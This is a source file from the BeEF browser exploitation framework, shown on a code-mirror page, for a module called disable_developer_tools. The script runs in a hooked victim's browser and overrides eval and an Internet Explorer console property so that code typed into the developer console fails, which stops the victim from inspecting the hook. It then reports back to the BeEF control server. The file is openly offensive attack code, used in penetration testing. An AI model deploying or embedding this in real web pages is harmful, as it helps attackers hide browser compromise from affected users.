Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/disable_developer_tools/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
// Uses this technique by KSpace:
9
// http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/
10
11
var _eval = eval,
12
evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,
13
flag = false;
14
15
Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", {
16
get : function(){
17
return evalError;
18
},
19
set : function(v){
20
flag = !v;
21
evalError = v;
22
}
23
});
24
25
eval = function() {
26
if ( flag ) {
27
throw "";
28
}
29
return _eval.apply( this, arguments );
30
};
31
32
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools");
33
});
34
35